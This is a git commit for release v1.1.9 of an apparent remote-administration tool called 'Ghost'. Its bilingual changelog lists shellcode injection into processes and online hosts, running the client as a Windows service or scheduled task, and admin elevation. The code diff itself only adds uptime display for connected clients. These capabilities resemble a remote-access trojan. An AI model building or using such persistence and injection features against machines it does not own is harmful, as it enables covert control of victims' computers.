Release v1.1.9

This commit is contained in:
yuanyuanxiang
2025-12-14 08:57:58 +01:00
parent c7b0a0f218
commit 52239dbfba
8 changed files with 114 additions and 7 deletions

View File

@@ -388,6 +388,48 @@ Release v1.1.4
* 插件: 添加示例插件项目供参考
* 新功能: 为进程管理添加 shellcode 注入功能
**2025.12.14**
发布版本 v1.1.9
本次更新重点提升客户端稳定性与运行模式、优化远程桌面性能,并新增多项实用功能。
* 改进: 修改 client/SimpleSCLoader.c
* 功能: 在进程管理中支持反黑屏功能
* 改进: 为 `SCLoader` 添加调试代码
* 功能: 在客户端构建选项中添加 `TinyRun.dll`
* 修复: 查看注册表导致主控程序崩溃的问题
* 修复: 打开密码生成对话框会修改最大连接数
* 功能: 在远程桌面控制中支持录制视频
* 功能: 支持客户端以 Windows 服务方式运行
* 功能: 为主控程序添加参数设置菜单
* 功能: 在远程控制中添加切换屏幕的菜单
* 修复: 注册表错误,并使用 [MT] 重新编译 zlib、x264 和 libyuv
* 功能: 为程序添加启动进度显示
* 改进: 将多线程压缩设置为远程控制的可选项
* 改进: 使用 SSE2 提升位图比较速度
* 改进: 代码风格调整,并使用优化选项重新编译 zstd
* 修复: 客户端死机问题,改进大数据包发送
* 改进: 减少 IOCPServer 中 new/delete 内存的频率
* 修复: 某些情况下 "std::runtime_error" 导致崩溃
* 修复: TestRun (MDLL) 配置不生效的问题
* 功能: 支持将 TestRun 构建为 Windows 服务
* 改进: 通过异步消息处理提升主控端效率
* 改进: 请求以管理员身份运行主控程序
* 功能: 为在线主机添加 shellcode 注入菜单
* 修复: `Ghost` 以 Windows 服务方式运行失败
* 日志: 为 FileUpload 库和服务安装添加日志
* 修复: 使用自定义结构体替代 char 缓冲区
* 修复: 使用 DXGI 时禁用 SSE2会导致崩溃
* 修复 (Windows 服务): 移除 AI 产生的冗余代码
* 改进: 将客户端以管理员运行改为可选项
* 修复: AudioManager 错误,移除 struct dlgInfo
* 修复: 注册计划任务失败的问题,并添加日志
* 修复: 主控和客户端之间复制文本需要延迟
* 改进: 在客户端构建选项中添加 `runasAdmin`
* 修复: 客户端离线问题和虚拟桌面打开问题
* 改进: 为客户端程序计算唯一 ID
---
# 6.其他项目 <a id="6-other-projects"></a>

View File

@@ -405,6 +405,48 @@ and adds a plugin example.
* plugin: Add an example plugin project for reference
* Feature: Add shellcode injection feature for process management
**2025.12.14**
Release v1.1.9
This update focuses on improving client stability and running modes, optimizing remote desktop performance, and adding several practical features.
* Improve: Modify client/SimpleSCLoader.c
* Feature: Support anti black-screen in process management
* Improve: Add debug code for `SCLoader`
* Feature: Add `TinyRun.dll` to client building option
* fix: Viewing registry causing master program crash
* fix: Open password gen dialog will modify max connection
* Feature: Support recording video in remote desktop control
* Feature: Support client running as windows service
* Feature: Add parameters setting menu for master program
* Feature: Add menu to switch screen for remote control
* fix: Registry error and use [MT] to rebuild zlib, x264 and libyuv
* Feature: Add a startup progress display to the program
* Improve: Set multi-thread compression as a option for remote control
* Improve: Using SSE2 to improve bitmap compare speed
* Improve: Code style change and rebuild zstd with optimization options
* fix: Client dead issue and improve sending large packet
* Improve: Reduce new / delete memory frequency in IOCPServer
* fix: "std::runtime_error" causing crashes in some cases
* fix: TestRun (MDLL) configuration doesn't take effort
* Feature: Support build TestRun as windows service
* Improve: Master efficiency by using asynchronous message processing
* Improve: Ask for running master with administrator
* Feature: Add menu (online host) for injecting shellcode
* fix: `Ghost` run as windows service failed
* logs: Add log for FileUpload libraries and service installing
* fix: Use self-defined struct to replace char buffer
* fix: Disable SSE2 (which causes crash) while using DXGI
* fix (Windows Service): Remove the shit dropped by AI
* Improve: Change running client as admin to an option
* fix: AudioManager bug and remove struct dlgInfo
* fix: Register schedule task failed issue and add logs
* fix: Copy text between master and client need a delay
* Improve: Add `runasAdmin` to client building options
* fix: Client offline issue and virtual desktop opening issue
* Improve: Calculate unique ID for client program
---
# 6. Related Projects

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,1,8
FILEVERSION 1,0,1,9
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.1.8"
VALUE "FileVersion", "1.0.1.9"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDll.dll"

Binary file not shown.

Binary file not shown.

View File

@@ -777,7 +777,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
m_CList_Online.SetItemData(i, (DWORD_PTR)ContextObject);
}
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
ShowMessage("操作成功",strIP + tip.c_str() + "主机上线");
ShowMessage("操作成功",strIP + tip.c_str() + "主机上线[" + loc + "]");
LeaveCriticalSection(&m_cs);
Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
std::to_string(id).c_str());
@@ -1673,6 +1673,12 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
}
}
std::string floatToString(float f) {
char buf[32];
snprintf(buf, sizeof(buf), "%.2f", f);
return std::string(buf);
}
void CMy2015RemoteDlg::OnOnlineDelete()
{
// TODO: 在此添加命令处理程序代码
@@ -1691,9 +1697,13 @@ void CMy2015RemoteDlg::OnOnlineDelete()
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
m_CList_Online.DeleteItem(iItem);
m_HostList.erase(ctx);
auto tm = ctx->GetAliveTime();
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
ctx->Destroy();
strIP+="断开连接";
ShowMessage("操作成功",strIP);
ShowMessage("操作成功",strIP + "[" + aliveInfo.c_str() + "]");
}
LeaveCriticalSection(&m_cs);
}
@@ -2531,7 +2541,11 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
auto ctx = (context*)m_CList_Online.GetItemData(i);
m_CList_Online.DeleteItem(i);
m_HostList.erase(ctx);
ShowMessage("操作成功", ip + "主机下线");
auto tm = ctx->GetAliveTime();
std::string aliveInfo = tm>=86400 ? floatToString(tm / 86400.f) + " d" :
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
ShowMessage("操作成功", ip + "主机下线[" + aliveInfo.c_str() + "]");
break;
}
}
@@ -3718,9 +3732,13 @@ void CMy2015RemoteDlg::OnOnlineUninstall()
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
m_CList_Online.DeleteItem(iItem);
m_HostList.erase(ctx);
auto tm = ctx->GetAliveTime();
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
ctx->Destroy();
strIP += "断开连接";
ShowMessage("操作成功", strIP);
ShowMessage("操作成功", strIP + "[" + aliveInfo.c_str() + "]");
}
LeaveCriticalSection(&m_cs);
}

View File

@@ -329,7 +329,7 @@ public:
virtual int GetServerPort() const = 0;
virtual FlagType GetFlagType() const = 0;
virtual std::string GetGroupName() const = 0;
virtual uint64_t GetAliveTime()const = 0;
public:
virtual ~context() {}
virtual void Destroy() {}
@@ -381,6 +381,7 @@ public:
ikcpcb* kcp = nullptr; // 新增指向KCP会话
std::string GroupName; // 分组名称
CLock SendLock; // fix #214
time_t OnlineTime; // 上线时间
// 预分配的解压缩缓冲区,避免频繁内存分配
PBYTE DecompressBuffer = nullptr;
@@ -481,6 +482,10 @@ public:
bLogin = FALSE;
m_bProxyConnected = FALSE;
server = svr;
OnlineTime = time(0);
}
uint64_t GetAliveTime()const {
return time(0) - OnlineTime;
}
Server* GetServer()
{